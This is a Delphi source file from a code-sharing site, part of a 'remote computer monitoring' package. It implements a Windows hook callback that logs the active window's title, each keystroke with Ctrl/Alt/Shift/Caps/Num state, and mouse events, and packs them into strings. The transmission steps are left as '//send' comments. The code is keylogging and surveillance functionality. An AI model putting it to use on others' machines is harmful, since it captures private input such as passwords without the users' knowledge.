MouseKeyboardMon.pas
资源名称:计算机远程监控.rar [点击查看]
上传用户:rickyhu
上传日期:2007-05-27
资源大小:842k
文件大小:2k
源码类别:
控制台编程
开发平台:
Delphi
- ///////////////////////////////////////////////////////////////////////////////
- //
- // 2004 (C) Copyrights Reserved
- // Author:Huang Qiang
- //
- ////////////////////////////////////////////////////////////////////////////////
- unit MouseKeyboardMon;
- interface
- uses
- Windows, Messages, SysUtils;
- function MonMouseKeyboard(iCode:Integer;wparam,lparam:LongInt):LRESULT;stdcall;
- implementation
- uses Main;
- function MonMouseKeyboard(iCode:Integer;wparam,lparam:LongInt):LRESULT;stdcall;
- var
- vKey:Integer;
- FocusWnd:HWND;
- ConKeyState:array [0..4] of Char;
- Title:array[0..255] of Char;
- pEvt:^EVENTMSG;
- StrInfo:String;
- begin
- if(iCode<0)then
- begin
- Result:=CallNextHookEx(MonHook,iCode,wParam,lParam);
- exit;
- end;
- if(iCode=HC_ACTION) then
- begin
- pEvt:=Pointer(DWord(lParam));
- FocusWnd:=GetActiveWindow;
- if(LastFocusWnd<>FocusWnd) then
- begin
- GetWindowText(FocusWnd,Title,256);
- LastFocusWnd:=FocusWnd;
- StrInfo:='10|'+String(Title);
- //////////////////////
- //send
- //////////////////////
- end;
- if((pEvt.message=256)or(pEvt.message=257)) then
- begin
- vKey:=LOBYTE(pEvt.paramL);
- //control key
- if(GetKeyState($11)<0) then
- ConKeyState[0]:='1'
- else
- ConKeyState[0]:='0';
- //alt key
- if(GetKeyState($12)<0) then
- ConKeyState[1]:='1'
- else
- ConKeyState[1]:='0';
- //shift key
- if(GetKeyState($10)<0) then
- ConKeyState[2]:='1'
- else
- ConKeyState[2]:='0';
- //caps lock key
- if(GetKeyState($14)<>0) then
- ConKeyState[3]:='1'
- else
- ConKeyState[3]:='0';
- //num lock key
- if(GetKeyState($90)<>0) then
- ConKeyState[4]:='1'
- else
- ConKeyState[4]:='0';
- StrInfo:='6'+IntToStr(pEvt.message-256)+'|'
- +IntToHex(vKey,2)+'|'+String(ConKeyState);
- //send
- end
- else if(pEvt.message>=512)and(pEvt.message<=521) then
- begin
- StrInfo:='7'+IntToStr(pEvt.message-512)+'|'
- +IntToHex(pEvt.paramL,2)+'|'+IntToHex(pEvt.paramH,2);
- //send
- end;
- end;
- Result:=CallNextHookEx(MonHook, iCode, wParam, lParam);
- end;
- end.